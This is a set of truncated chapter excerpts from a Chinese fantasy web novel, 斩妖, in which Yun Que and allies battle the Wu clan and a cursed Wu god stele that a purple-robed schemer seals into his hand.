由于有妖魂存在,晦心禅师咏念的佛经很难对云缺造成影响,但别人就不行了,单独的神魂,会在佛经中感受到温暖,心灵几乎被洗涤了一遍。 仅仅身处佛经当中就变得如此模样,对面的巫族更得挺不住才对。 望向城外,云缺估计得果然没错。 山岳力士头顶的黑袍巫族,脸上 出现痛苦之色,浑身颤抖。 在佛经笼罩 第370章 最后的巫族 《斩妖》全本免费阅读 一句我不入地狱谁入地狱,听得城头众人无不敬佩。 晦心禅师当得上高僧二字。 以己之命,换苍生之命! 云缺站在胖和尚面前,神色肃穆深施一礼。 晦心禅师最后的话,说得没错。 妖邪无尽,魑魅丛生,身为猎妖之人,岂能不在红尘。 晦心禅师面带微笑,艰难的伸出手,轻轻落在云缺头顶。 这位大和尚眼里最后一丝光泽,就此散去。 胖乎乎的大手,从云缺头顶缓缓滑落。 天祈学宫佛心殿先生,来自大唐的晦心禅师,坐化于八山城的城头。 云缺叹了口气,心里五味杂陈。 佛门弟子,很少在修行界走动,以至于佛门显得愈发低调,谁能想到,真正的佛门高僧竟有如此大义。 叹息之余,云缺觉得头顶凉丝丝。 伸手一摸,光溜溜一颗大光头! 晦心禅师拍了下云缺的头顶,直接把云缺的头发给拍没了,提前剃度。 “你个老秃……” 云缺瞪着眼前的胖和尚,骂不出口了。 晦心禅师,如今只是一具尸体。 云缺无奈的叹了口气,光头就光头吧,之前又不是没剃过,正好天快热了,光头凉快。 阜南王朝着尸体躬身一礼,吩咐道: “厚葬。” 铁浮屠领命,准备运走晦心禅师的尸体。 这时一道流光落在城头,宋道理赶来。 “晦心禅师!” 宋道理豁然一怔。 他从学宫出来,直奔八山城,到了之后,看到的,是城外多出的连绵高山与佛心殿先生的尸体。 云缺将之前的经过简短讲述一遍。 “学宫少了位先生,世间少了位高僧。”宋道理长叹一声,朝着尸体躬身施礼,道:“先生大义。” 云缺,白厌,闫罗众人齐齐朝着尸体施礼,齐声道: “先生大义!” 晦心禅师的尸体盘坐在城头,一张胖脸上还挂着笑意,仿佛生死对他来说,只是一场漫长的修行,如今功德圆满,便可拂袖而去。 宋道理望向城外,皱眉道: “没想到巫族出世,居然如此 惊天动地,一头山岳力士便有四阶之力,千头山岳力士,足以踏平大晋。” 云缺问道:“学正可知巫族究竟有何目的,灭掉大晋对他们有什么好处?” 宋道理摇头道: “巫族向来神秘,千百年来消声灭迹,这次居然出现如此繁多的巫族,闻所未闻。” 阜南王道: “异族与异国有着类似之处,异国出兵,无外乎开疆扩土,异族出山,想必也与疆土有关,巫族,想要占据大晋,从而打造一座巫蛊之国。” 宋道理道: “有这个可能,巫族与人族相差不大,行为举止也与人族类似,十万大山资源匮乏,若能占据大晋建立巫国,对巫族来说有着极大的好处。” 阜南王与宋道理的看法几乎一致,白厌闫罗众人也认为理应如此,唯独云缺始终紧锁眉峰。 “我觉得不太像,巫族既然消失了千百年,毫无消息,说明巫族的数量应该不多,他们这次带来大批山岳力士,是以巫族自身血液甚至神魂为代价才能驱使,等踏平大晋,估计山顶的巫族也差不多活到头了,一次损失这么多巫族,就算建立巫国,没人也玩不转呐。” 云缺说出了自己的看法。 阜南王听罢点点头,道: “我对巫族了解不多,学宫里应该有记载巫族的书籍,大祭酒或许对巫族有所了解。” 宋道理道: “云缺的说法,有些道理,巫族用同归于尽的方式进攻大晋,确实蹊跷,何况以山岳力士的气息,不该引动灵尊狂躁。” 云缺问道:“灵尊又从湖里出来了?” 宋道理道:“灵尊不仅飞出水面,还展现出战斗姿态,大祭酒与诸位先生正在合力镇压,天祈学宫建立了上千年,灵尊从未出现过如此状态。” “战斗……” 云缺沉吟道:“一定与上次一样,灵尊察觉到令它仇恨的气息出现……不对!上次灵尊只探出半个身子,没有完全离开游子湖,这次居然整个妖身都出来了,还彻底狂暴,说明令它仇恨的气息很近!” 云缺望向远处的连绵高山,看不到活物,但云缺心里有种奇怪的预感。 真正可怕的东西,并非黑袍巫族,也不是山岳力士。 究竟是什么? 云缺实在想不通真相。 这时旁边传来白厌的惊呼: “有人!” 众人随着白厌的手指,看到群山当中一座最为高大的山峰顶端,出现一个黑袍身影。 云缺直接动用妖力,双眼转为竖瞳。 借助血狸之眼,云缺看清了远处的黑袍。 那是一名耄耋老者,弯腰驼背,手里拿着一根白骨手杖,独自站在高山之巅。 其他人虽然没有云缺看得那么清晰,但也隐约看到了山上有个人。 众人立刻紧张起来。 最后出现的巫族老者,修为绝对不低。 晦心禅师的佛经,灭杀掉之前的所有巫族,唯独此人活了下来。 能抗衡晦心禅师的巫族,必定有着恐怖的实力! 白厌握住了长弓,沉声道: “最后一个巫族,不管他有什么目的,只要我们联手将其击杀即可解除危机!” 阜南王冷声道: “合力攻之!” 话音未落,远处传来铃铛的脆响。 叮当,叮当。 铃声并不清脆,反而给人一种沉闷的感觉。 高山上的黑袍老者,摇动起手里的骨杖,骨杖顶端绑着一枚小小的黑色铃铛。 随着铃音出现,从其他高山顶端的巫族尸体里纷纷钻出各种各样的怪虫。 有蝎子,有蜈蚣,有蜘蛛,有毒蛇,千奇百怪,形态各异。 “巫族本命蛊!”宋道理沉声道。 这些巫族虽然已经死在佛经之下,但身上的本命蛊还在,此时被巫族老者尽数唤醒。 阜南王疑惑道: “肉身一死,本命蛊威力再大也难以发挥全部实力,并无大用。” 阜南王虽然不了解巫族,但对巫修相当熟悉,草原上的巫修不在少数。 而巫族,与巫修的等阶一样,功法也类似。 众人疑惑之际,群山上的蛊虫纷纷飞起,朝着那黑袍老者汇聚。 白厌惊呼道: “他要收集所有本命蛊,增强自身战力!” 其他众人随之大惊。 召集死去族人的本命蛊,那老者肯定是要强化本体,将自己打造到最强实力。 很快众 人发现猜错了。 那 第371章 唯一的成功品 《斩妖》全本免费阅读 八山城外已然再无活物,只剩下一座漆黑的石碑,屹立在天地之间。 石碑极其古老,表面上有一道细小的裂痕,犹如一双细长的眼睛,俯视着八山城里渺小的人类。 当石碑出现在山顶的那一刻,阜南王与宋道理觉得浑身汗毛纷纷立起。 身为四品强者,两人感受到一种天敌般的压制之力从石碑上传来。 巫族尽数身亡,唯有一块石碑残留,如此诡异的局面,令众人惊骇不已。 “那到底是什么……” 阜南王浑身气机不受控制的涌动,低语中充满忌惮。 宋道理惊疑不定的道: “谁的墓碑,居然有如此恐怖的气息!莫非巫族走出十万大山,真正目的是这块石碑?” 石碑本该是死物,但众人眼前的这块碑,给人一种头皮发麻的心悸之感。 阜南王与宋道理觉得畏惧,白厌闫罗李玄驹等人更是如此,心神巨震,连云缺的神魂都在不受控制的震荡。 石碑出现之后,天上的乌云变得愈发阴沉,天地间一片死寂,毫无声音。 云缺的脑海在快速转动,分析着石碑的来源。 红莲教祸乱大晋,制造杀戮,产生百万冤魂,原本云缺以为巫族利用这些冤魂之力唤醒更多的山岳力士,从而将巫族打造得更加强大,可以轻易占据大晋。 自从黑袍巫族尽数死掉,最后的巫族老者自尽在山顶,之前的猜测便彻底错了。 巫族并不想要占据大晋,也不想壮大本族,而是另有目的! 这个目的,就是高山上的那块石碑! 云缺心里泛起诸多疑惑。 一块石碑,究竟藏着什么力量,需要巫族上千族人不惜以生命来献祭。 巫族的举动,究竟是巫族强者指使,还是‘他们’在暗中促成? 诡异的局面,让云缺觉得眼前出现一片迷雾,无论如何努力,始终看不清藏在迷雾中的真相。 城头上的众人一时沉默不语。 即便身经百战的阜南王,面对如此诡异的局面也束手无策。 安静的城头,忽然出现一声惊呼。 “手!我的手!” 惊呼来自一名守军,此人的左手正在腐烂! 这人是 金吾卫的一员,穿着禁军衣着。 白厌几步冲过去,查看了一眼立刻做出决定,一刀将军兵的左手斩断。 军兵疼得大呼一声,险些昏死过去。 腐烂的左手掉落在地,开始快速枯萎,很快彻底干瘪,仿佛有某种力量将断手的血液尽数抽走了一样! “蛊毒?或是巫术?”白厌惊疑道。 闫罗摇头道:“没感觉到法力波动,无人施法。” 诡异的断手,在众人看来无比刺眼。 没人施展法术,军兵的手居然会自行腐烂,如此现象,在场的众人根本无法理解。 断手的军兵被一名禁军搀扶着要去城下包扎伤口,刚走出几步,忽然又惊呼起来。 “手臂!我的手臂也烂了!将军救我!” 断手的军兵抬起手臂,断腕处居然再度腐烂,不断朝着肩头蔓延。 白厌大惊。 再出手,就得斩断整条臂膀,可是断臂后也无法保证其他地方不再腐烂。 找不到腐烂的真正根源,救不下这名军兵。 “是那石碑!”云缺冷声道。 尽管看不到有人施法,云缺以猎妖人的敏锐感知,察觉到空气中遍布着一条条细小的气息。 这些气息极其隐晦,十分古怪,连阜南王和宋道理那等四品强者也察觉不到,仿佛一条条无形的小蛇,游离在空气当中。 “我的手!我手也烂了!救命啊!” 又一名军兵惊慌大吼,他腐烂的是右手。 “我的脚!我的脚完了!怎么办!” 第三名军兵跌坐在地,甩掉鞋子,两只脚血肉模糊,森白的脚趾从腐肉中剥离出来,触目惊心。 越来越多的禁军身上开始出现腐烂。 城头上一片大乱! 白厌闫罗等人束手无策。 砍掉肢体,已然无用,根本阻止不了军兵腐烂。 云缺快速扫了眼城头,发现一个不同之处。 开始腐烂的,均为禁军,而且都是修为很低的禁军,城头上的铁浮屠则没有任何人出现腐烂的现象。 “与修为有关,修为越低,腐烂得越快。”云缺道。 白厌闻言急忙下令,命低于八品的禁军立刻退下城头。 阜南王始终盯着远处高山上的石碑,沉声道: “没用了,八山城里的活人恐怕谁也逃不掉,石碑在吸收活人气血,现在只有两条路,立刻退走舍弃八山城,或者击碎那块石碑。” 众人的心头开始渐渐发沉,仿佛被压了块大石。 修为高的,自然可以趁早撤走,但八山城里已经住满了百姓,这些无辜的百姓全会被石碑吸干气血变成干尸! 击碎石碑,听起来是最佳的办法。 然而那石碑的气息太过恐怖,站在这么远都令人心生畏惧,接近之后不知会有多少凶险,很可能有去无回。 摆在众人面前的,是两条难以抉择的路。 独自逃生,舍弃满城百姓。 拼死一搏,也许尸骨无存。 面对如此选择,阜南王犹豫不决。 这时云缺一脚踩在城墙,妖刀指向石碑骂道: “装神弄鬼,活的巫族都不怕还怕个死的?妖邪而已,挖他坟!挫骨扬灰!战!” 城头一众高手,云缺的境界排不上号,但是云缺的战意是最为纯粹的。 被云缺的战意所鼓舞,众人心里的那份畏惧渐渐消失。 白厌握紧长弓,闫罗掐动法诀,一群铁浮屠齐齐低吼。 “战!!!” 战之一字,杀气沉沉。 仿佛感受到城头燃起的熊熊战意,高山上那块黑石碑,传来愈发恐怖的气息。 一阵狂风袭来! 城头的砖石发出阵阵碎裂声响。 铁浮屠的重甲传出嘎吱吱响动,仿佛有一只只无形大手,掐住了城头上的每一个人。 这种可怕的束缚感,几乎令人绝望! 一些修为低微的禁军甚至无法呼吸,纷纷掐着自己的脖子,想要掰开那双无形大手,却根本无效。 危机来临之际,晦心禅师的尸体第一个遭殃,快速枯萎,不断干瘪,最后竟碎裂开来。 尸体崩塌之际,一道金光在城头耀起! 金光犹如一把巨伞,撑开了漫天 第372章 巫神碑 《斩妖》全本免费阅读 唯一的成功品,这种说法,是一种赞叹,可以用来夸赞法器,称赞法宝,听到的人都会很高兴。 唯独用在人的身上,这句话的含义会变得阴森冷酷。 云缺默默的听着,对于成功品的说法并不在乎。 妖武者本就是后天打造的产物,说出怪物也不为过。 现在云缺只想知道当年的真相。 吕青继续说道: “我知道你很好奇,当年妖刀折断为何不死,今天我告诉你真相,你之所以能融入第二道妖魂,是魏墨城自己融合失败后,为了不浪费掉血狸之魂,想要借你之躯,暂时封印妖魂而已。只是他没想到,你竟与妖魂完美融合,从而拥有了第二把妖刀。” 云缺沉声道:“魏墨城,要将他自己打造成妖武者?” 吕青点头道: “是啊,他促成了大燕与妖都之战,真正目的,是抓住血狸一族,与其融合,将他自己打造为完美的妖血修士,如此一来,他才能摆脱寿元将尽的危机,重获新生。” 当年妖都之战的真相,由吕青口中道出,听闻之人,无不骇然震惊。 不惜拉着燕皇与整个司天监去与妖都死战,只为了一己之利,魏墨城此人绝对是个冷血的自私之人。 云缺的神色始终冷静。 其实他已经猜到了一些,魏墨城真正的目的很有可能是为了他自己,而非大燕。 “魏墨城在何处。”云缺问道。 “观星塔,他只剩元神,肉身已经在北域被毁掉,他曾在观星塔内刻下大阵,可以寄宿元神,这些年始终躲在大阵里,暗中掌控司天监,他的命令,我不敢不听。” 吕青惨然一笑,道:“好在他有一个致命弱点,元神无法离开观星塔,否则容易神魂受损,加速消散,十多年过去了,我一直寻找摆脱他的办法,怎奈他元神太强,我不是对手,始终没有轻举妄动。” 云缺微微皱眉,道: “魏墨城为何没去融合妖都之王。” 吕青神态诧异了一下,疑惑道: “当年我坐镇司天监,没去妖都,难道你身上的妖魂,不是妖都之王?” 云缺心头一震。 自己身上的妖魂,当然不是妖都之王,而是妖都公主! 以吕青所言,魏墨城当年的目标,应该是抓走妖都公主从而融合妖魂,燕皇与斩妖司的所有人,都是魏墨城用来拖住妖都之王的弃子! 既然魏墨城要抓的是妖都公主,那么抓走了妖都之王的两个紫袍人,又是谁? 云缺心头疑惑不解。 很快云缺得出一个猜测,螳螂捕蝉,黄雀在后! 魏墨城利用了燕皇与斩妖司,而紫袍人在暗中又利用了魏墨城! ‘他们’,到底是谁? 云缺脑子里一片混乱,虽然得知了当年真相,却有更大的迷雾笼罩而来。 不知何时,四周泛起大雾。 弥漫的雾气携带着阴寒之力,飘飘荡荡,起起伏伏。 云缺不再多想,道: “既然师伯离开司天监,今后如何打算,魏墨城的元神该如何应对。” 吕青无奈的叹了口气,道: “魏墨城的元神已经无关紧要,若今天还能活下来,再想对策也不迟,可惜,我们今天未必会有活路,云缺,你可知那块石碑是什么。” 远处的高山变得朦朦胧胧,只能隐约看到石碑的轮廓。 云缺疑惑道: “不知道,难道师伯知道石碑来历?” 吕青沉声道: “如果我没猜错的话,那应该是传说中的巫神碑,巫神被镇杀后遗骸汇聚成碑,今日巫神碑出世,若无法阻拦,整个大晋将再无活物,大晋之内所有生灵都将成为巫神降临的祭品。” 吕青此言一出,阜南王,宋道理等人齐齐大惊。 巫神,乃是巫修一道的超品存在,与佛陀,道尊,儒圣齐名的恐怖强者! 巫神若是降临人间,足以摧毁一座国度,甚至整个云州! “巫神碑……难怪灵尊会暴躁!”宋道理恍然道。 游子湖里的腾蛇,正是感受到巫神的气息,从而狂暴不安。 阜南王道: “监正修为高深,可有破解之法。” “唯有摧毁巫神碑,大晋才能存在,否则,大晋必亡!当年魏墨城留下我镇守司天监,错过了妖都之战,侥幸逃过一劫,苟活多年,今天这场劫难,我不会逃,这是我的因果。” 吕青苦笑了一声,道:“今日离开司天监,我不打算再回 去,受人摆布成为傀儡的日子,我已经受够了,云缺,魏墨城觊觎你很久,你这种完美的妖武者,他可望而不可及,你是唯一的成功品,他绝不会放过你,今天若能活下来,自己小心罢。” 随后吕青朝着阜南王与宋道理抱了抱拳,道: “此战毫无把握,诸位想要逃走还请自便,若有战意者,可随我一战!” 说罢,吕青脚踏城头,飞出城外,直奔最高的山峰而去。 闫罗高声道:“弟子愿随师尊一战!” 说罢紧随而去。 李玄驹苦着脸道:“弟子也愿参战。” 他不参战也不行了,师尊都去拼命,当弟子的哪能往后缩,战死也就算了,这要没死,必定会被逐出师门,一辈子背上个师门败类的名号。 李玄驹胆子不大,最是油滑,但这种臭名,他背不起,只能选择拼死一战。 宋道理腾身而起,洪声道: “君子坦荡荡,小人长戚戚,为保天下苍生,宋某奉陪到底!” 阜南王身形跃起,沉默着冲向高山。 白厌无法飞行,跃出城外健步如飞,奔向高山。 云缺与牧忍刚要出城,阜南王忽然回头,瞪了两人一眼。 目光森冷,带着一种不容置疑的号令,尽管没开口,云缺与牧忍都知道阜南王的用意,是阻止两人出手。 云缺心头一暖。 老丈人心疼儿子,怕牧忍死在外面,但也没忘他这个姑爷,不想两个小辈去冒险。 冲出的几道身影,撕开了大雾,先后落在山顶。 云缺与牧忍留在城头,紧张的观战。 随后两人看到了一头怪蛇在山顶出现。 怪蛇由岩石组成,共有九颗脑袋,身躯庞大,每颗蛇首都是独眼,口中喷吐出风火雷电。 吕青等人刚一抵达,立刻与怪蟒恶战在一处。 尽管城头离着很远,剧烈的轰鸣仍旧清晰可辨。 云缺看到宋道理唤出了仁者剑,阜南王一身气机凝炼出战甲巨人,吕青催动出一柄火焰长剑,三人全力尽出。 很快白厌与闫罗李玄驹也到了,三人各自拿出看家的本领,亡命而战。 六位五品以上的高手,联手大战石头怪蟒。 战 斗刚一开始,便险象环生。 第373章 妖刀断异象生 《斩妖》全本免费阅读 天祈学宫,游子湖畔。 大祭酒与一众先生催动法力,联手压制着灵尊。 腾蛇的啸声越发高昂,一双巨眼变得猩红如血,死死盯着西面。 游子湖附近,一些学子在啸声中口鼻流血,被腾蛇的气息震慑得瘫软在地,无法动弹。 秦蒙心中焦急。 再持续下去,不仅学宫里的学子会受伤,整个皇城里的百姓也会被啸声所伤。 湖边的一众先生此刻都看了出来,单纯以法力,恐怕难以压制住灵尊,只能动用法术镇压。 可一旦动了法术法宝,相当于与灵尊开战,后果不堪设想。 到时候天祈学宫都有可能就此毁灭! 秦蒙无奈之下,踏空而起,几步来到腾蛇庞大的头颅上方,一巴掌拍在腾蛇头顶。 秦蒙这一掌,没有任何法力存在,只是单纯的肉身力量。 儒家修士,气力有限,根本伤不到腾蛇,更像是一种教训。 秦蒙洪声断喝: “圣人学宫,灵尊难道想要毁掉不成!” 腾蛇停止咆哮,一双巨眼盯住秦蒙,目光充满冷冽。 湖畔的先生们都为大祭酒捏了一把汗。 那是灵尊,圣人坐骑! 历届大祭酒在腾蛇面前都得以弟子自居,没人敢拍灵尊,更没人敢喝斥灵尊。 秦蒙的举动,打破了学宫上千年来的规矩,一旦灵尊暴怒,很可能一口吞掉秦蒙。 腾蛇安静了下来。 背后的骨翅缓缓收拢,巨眼转动,视线离开秦蒙,望向西方,随后沉入湖底。 水面上的涟漪,久久不散。 先生们纷纷放心下来。 秦蒙落在湖边,长吁一口气,谢过一众先生。 先生们拱手还礼,相继离去。 没人愿意在游子湖多待片刻。 平常的时候,学子们或许偶尔来湖边走动,但绝对看不到先生们的身影。 游子湖,对于学宫先生来说是最危险的地方,能离多远离多远。 修为越高,越清楚灵尊的可怕。 秦蒙独自站在湖畔,长眉微锁。 虽然灵尊重新回归湖底,但大祭酒始终心神不宁。 灵尊越是暴躁,说明 未知的危机越发可怕。 沉吟稍许,秦蒙忽然抬头望向远处的观星塔。 “棋局变了!” 秦蒙的声音低沉而疑惑,自语道:“暗渡陈仓,难道……” 秦蒙神色变幻了一下,望向西侧,随后挥手扬起一阵清风,身形随之消失在风里。 …… 八山城外,山巅之上。 被冰封的众人先后挣脱开来,只不过气息变得十分虚弱。 尤其白厌闫罗与李玄驹,几乎站立不稳,摇摇欲坠。 吕青一袭青衣在寒风中猎猎作响,他撑起一道青色光幕,奋力走向石碑。 宋道理与阜南王也开始前行,用出所有力量。 云缺破冰之后,看到三位强者距离石碑只剩下十丈距离,但脚步变得愈发艰难,每迈出一步都要耗费极大力量。 宋道理低吼道: “我们合力一处!” 阜南王道了声好,将全部气机汇合到吕青的青色光幕上,加上宋道理四品的文气,光幕一时间豪光大盛。 白厌三人纷纷效仿,加入自身力量。 十丈距离,看似短暂,可走起来却无比漫长。 走出三丈之后,白厌与闫罗李玄驹尽数被震飞,口喷鲜血掉落山下。 云缺此时抵达近前。 刚一接近,立刻感受到狂暴的气息如同飓风般呼啸在耳畔。 仅仅跟在阜南王身后,云缺都有一种元神即将被吹散的错觉。 这种感觉就像汪洋大海里的一叶扁舟,在狂风恶浪中随波逐流,不知何时就会淹没在深海。 巫神碑所散发的气息,恐怖到令人战栗! 五丈之后,宋道理喷出一口鲜血,倒着飞出,落向山下。 七丈过后,阜南王闷哼一声,耳鼻渗血,无力支撑,同样被震出山顶,跌落山下。 山上,只剩下吕青与云缺。 云缺借用月魁之力,浑身妖力涌动,本想接替阜南王的位置,继续前行,结果根本做不到。 能站在原地,已经是云缺的极限,往前一步难如登天。 这还是云缺将妖力尽数爆发的情况下,如果没有妖力,六品武夫的身体会瞬间化作齑粉! 距离石碑仅剩三丈,吕青的脚 步无法再迈动。 云缺能清晰看到石碑上的裂痕,宛如一只细长的独眼,轻蔑而冷漠的注视着前行之人。 妖力爆发,让云缺的神智开始模糊,喉咙里发出低吼,眼前一片血色。 云缺已经竭尽全力。 他不想眼睁睁看着八山城被摧毁,看着大晋沦为死地。 因为大晋,有很多他无法放弃的人。 有娘子牧青瑶,有露水朋友梅钱,有岳父老泰山,有好友白厌,有司天监的师兄师姐,有一心为民的首辅,有陈洲骅那些同僚,有学宫里的同窗。 云缺此时惊觉,红尘这张网,他已经越陷越深。 大燕,是云缺的家。 虽然改名为大晋,但这片国度,依然是云缺的家。 本以为孤身一身,其实云缺已经多了很多的家人。 猩红的眼里遍布战意,云缺死死盯着眼前的石碑,低吼道: “岂能容你,毁我家园!” 妖力彻底狂暴,云缺再次迈出一步。 随着云缺的步伐,吕青撑起的青色光幕也开始向前扩展。 一步,两步,三步! 云缺此时距离石碑还有一丈的距离。 可是这一丈距离,宛如天堑,青色光幕之外,炸起着惊天雷鸣,仿佛石碑所在之地是一片雷电之眼,接近者,都将被天雷吞噬! 若没有青色光幕的存在,云缺无法走出这三步,现在还差最后一段距离就能接近石碑。 只要抵达石碑近前,即可出刀! “师伯!”云缺低吼道。 “我以全力助你,能否破这一劫,看你的了!” 吕青虚弱的声音从身后传来。 云缺回头看了眼,吕青此刻七窍流血,浑身颤抖,两只手向前伸展撑起青色光幕,手掌纹丝不动。 吕青已经到了极限。 阜南王等人落到山下,生死不知,如果再将青光往前撑一步,吕青极有可能就此陨落。 不可能斩断巫神碑…… 云缺心里下意识的出现这种念头,因为石碑的力量太过强大,在其面前,连阜南王那种四品巅峰修为都如同蚍蜉撼树。 然而念头仅仅出现一瞬,就被汹涌的战意取而代之。 妖力被催动 到极致,云缺的身影外,浮现 第374章 封碑之人 《斩妖》全本免费阅读 奔雷掌的雷光,炸起在石碑表面。 电光滚滚,将漆黑的石碑铺满一片幽蓝之色。 高大的石碑颤动起来,整座高山随之晃动。 失去妖力加持,云缺的一掌之力,绝对达不到如此程度,撼动巫神碑的,另有其人。 这个人,就站在石碑之后! 奇怪的是,云缺并未感受到对方的力量,却有飓风般的掌风从巫神碑后方汹涌而起。 整座山顶尽数被这股掌风所笼罩,唯独云缺所在的地方,没有丝毫风声。 一掌开山,却不伤山顶的花草,如此力量,远超破军! 云缺打出一掌的瞬间,脑海里猜测着暗中出手的神秘人究竟是谁。 学宫先生? 大祭酒? 或者是,他们? 奔雷掌确实很强,但云缺知道自己这一掌对巫神碑无法造成损伤,就要收回手掌。 这时异象突起! 云缺左手带着的铁镯,忽然流转起一道黑芒,随后从铁镯表面浮现出一条条漆黑的铁链! 铁链共有十条,顷刻间将巫神碑缠绕起来。 由于铁链连接着铁镯,而铁镯戴在云缺左手的手腕,石碑被缠住的同时,云缺左手也被缠在了石碑表面。 铁链的出现,令云缺豁然一惊。 父亲的遗物只是极品法器,如今竟自行催动,那铁链上传来的气息绝非法器能比拟,甚至比法宝都要强大! 这是什么手镯? 云缺惊讶之际,发现了另一个诡异的情况。 面前两丈多高的巫神碑,居然在铁链缠绕下逐渐缩小! 缩小的同时,石碑上不断传来闷响。 石碑后面的神秘人,一掌接一掌的轰击着巫神碑! 如此诡异的局面,云缺无论如何也没料到,他心里生出一种不祥的预感。 左掌握拳,云缺想要挣脱铁链。 结果别说挣脱,连握拳都做不到! 任凭云缺拼尽全力,左手掌心始终牢牢贴在石碑上,半点缝隙也挣不开! 巫神碑缩小的速度越来越快,几息之后,从两丈多高,变成三尺高。 随着巫神碑的缩小,云缺终于看到了石碑后的人。 一袭紫袍,下摆处绣着 云纹,头戴兜帽,看不到面孔。 他们! 云缺心头巨震。 真正的幕后黑手,如今出现在眼前! 云缺目光转动,看向对方袖口,果然,此人的袖口处绣着一个辰字。 辰龙! 十多年前,抓走妖都之王的紫袍人之一! “你究竟是谁!” 云缺怒喝道。 紫袍人,是真正的棋手。 从燕皇北伐开始,到红莲教祸乱大晋,直至今日山岳力士来袭,巫神碑出世,这一切的背后,都是紫袍人的阴谋! 紫袍人现身之后,稳稳站在原地,没有开口,而是朝着巫神碑拍出最后一掌。 沉闷的轰鸣中,地动山摇! 巫神碑再次缩小。 铁链传来的哗啦声不绝于耳。 不仅巫神碑在缩小,缠绕石碑的铁链也在缩小! 顷刻之间,巫神碑变成一寸大小,被铁链封死在云缺左手。 云缺拼命甩手,想要甩掉蛊神碑,却毫无用处。 黑色石碑竟在铁链的封印下,一点点没入云缺掌心! 眼看着巫神碑沉进掌心,云缺脑海里一片空白。 他怎么也没想到,紫袍人在多年前布下的种种阴谋,最后居然全部指向了自己! 看似颠覆皇朝的一盘大棋,真正的目的,竟只有云缺一人! 究竟为什么? 云缺绞尽脑汁也想不通。 紫袍人为何将巫神碑封入自己手里? 片刻的恍惚,云缺猛然惊醒,石碑已经尽数没入手心,黑光一闪,彻底消失了踪迹。 铁镯已经不见了,取而代之的,是手掌上缠绕的十条细小锁链。 云缺惊怒交加,猛然握起右拳,一拳轰向对面的紫袍人。 烈焰拳出手,砸出一片火焰。 紫袍人根本没躲,站在火焰中一动不动,那看似汹涌的烈焰,根本伤不到他分毫。 在火焰中,紫袍人缓缓抬起头。 云缺看到了兜帽深处,是一片星辰! 当初蝠王所说的星辰之脸,如今云缺亲眼所见。 兜帽之内,闪烁着无数星光,一眼望去,如同站在夜空之下,令人为之沉迷。 云缺直勾勾盯 着兜帽里的星辰,犹如陷入梦境。 直到那星辰之中,出现了一个微微上扬的嘴角。 紫袍人在笑。 笑得无声无息,笑得冷酷无情。 那淡淡的笑容,仿佛夜空里的天神,在嘲讽着大地上渺小的蝼蚁。 “呵呵……” 云缺听到了一道模糊的笑声,隐隐约约,忽远忽近。 为什么将巫神碑封在我身上? 为什么!!!!!! 云缺心里在怒吼,却发不出任何声音,周围一片黑暗。 星空消失,风声也随之消散。 静得可怕。 犹如永夜。 云缺眼前逐渐模糊起来,他无法呼吸。 云缺看到了水。 浑浊的水。 再一次,云缺回到了年幼时那段丢失的记忆。 他沉在水底,水里全是奇怪的小虫,在身边不断游弋。 云缺与上次一样,奋力朝着水面游去。 这一次游得决然无比! 云缺有种预感,水面之上,存在着一切的真相。 近了,更近了! 哗啦! 云缺瞪着眼睛,奋力冲出水面。 他想要看一眼真相,可看到的,又是那只大手。 哗啦! 小小的云缺,被大手按进水底,彻底失去力气,直至失去信心。 云缺越坠越深,四周再次变得漆黑如墨。 短暂的回忆,很快惊醒。 眼前仍旧是空荡荡的山顶,对面,神秘的紫袍人化作一片星光,消失在原地。 云缺几步冲到紫袍人所在的地方。 星光落在地面,随之暗淡,化作尘埃。 左手传来的冰冷,让云缺烦乱的心神渐渐冷静下来。 巫神碑已经确定被封进自己左手,这一点无法改变。 至于后果是什么,云缺没去多想,猎妖人本就没有善终,一死而已,有什么可怕的。 云缺只是想不通,紫袍人为何偏偏选择自己,作为封印巫神碑的棋子。 巫神降临的容器? 云缺只能想到这一点,可自己的肉身,并没太多特殊之处。 六品宗师而已,如果巫神当真 降临,这种肉身估计承载不了远古超品的力量。 用自己来封印巫神碑? 这个猜测,很快被云缺否决。 紫袍人,不可能有那么好心,为了天下苍生而去封印巫神碑,他们一定有着更为阴险的目的。 想到这里,云缺仔细感知着左手。 虽然看不到巫神碑,但手心里有一股极其阴冷的感觉存在。 除了阴冷气息,还有一道雷电之力,那是雷 第375章 再跳几个坑也无所谓 《斩妖》全本免费阅读 空旷的山顶,只剩下云缺与大祭酒。 四周静怡无声。 很难想象,这片山顶之前还是灭世般的场景,如今安静得没有半点声音。 云缺万万没想到,被斩妖司所有人敬重的大师兄吕青,居然早已陨落。 当年妖都之战过后,吕青虽然没有参战,坐镇司天监,依然没能逃过死劫。 最终活下来的,只有云缺自己而已。 云缺终于看清了真正的棋局。 原来从一开始,所有的布局,都是为了今天! 魏墨城之前伪装成吕青的那套说辞,显然在胡编乱造。 当年魏墨城一手推动了妖都之战,不惜以大燕所有战力与妖都同归于尽,趁机将云缺与妖都公主融合,打造出一个最为特殊的妖血武夫。 而后以红莲教祸乱大晋,制造无数杀戮,再用无数亡魂引来巫族,令巫神碑现世。 最后一步,是将巫神碑封禁在云缺的身上。 云缺本以为自己游离在棋盘之外,始终在努力看清这盘棋,今天看清了才知道,自己,才是最后一步棋。 自己居然是一个工具,用来封印巫神碑。 至于接下来会发生什么,无需多想也能知道,肯定是用自己这副肉身,当做巫神降临的器皿! 魏墨城最终的目的,是掌控巫神! 脑海中的无数谜团被彻底串联起来,云缺终于看到谜底。 但这份谜底,太过恐怖,令人不寒而栗。 ‘他们’,居然在图谋巫神这种恐怖的存在! 看清谜题之后,云缺脑海里浮现出另一份谜团。 既然魏墨城要掌控巫神,那么当年妖都大战,他为何要抓走妖都之王? 云缺如果是容器的话,只需要妖都公主就够了。 难道,妖都之王也被紫袍人当做一个容器,另有用处? ‘他们’所图谋的东西,云缺只能看到冰山一角,还有巨大的谜团无法得知。 大祭酒始终感知着云缺的左手,道: “巫神碑太过诡异,以我的修为无法剔除,我在学宫看了十几年的一盘棋,看到最后,自己也成了棋子……人老了,没用了。” 秦蒙在自责。 腾蛇的狂暴,拖住了他这 位大祭酒,来晚一步。 魏墨城的手段实在高明,将学宫也算计了。 魏墨城料到巫神碑出世,必定引起腾蛇狂暴,从而让大祭酒与学宫先生疲于应对,没时间插手他的最后一步棋。 否则一旦大祭酒与学宫先生赶来八山城,局面将变得无法控制。 魏墨城,是个合格的棋手,大祭酒在心机算计这一点上,甘拜下风。 云缺看了眼左手,咬牙道: “实在不行,切了左手!少只手又死不掉!” 秦蒙凝重的道: 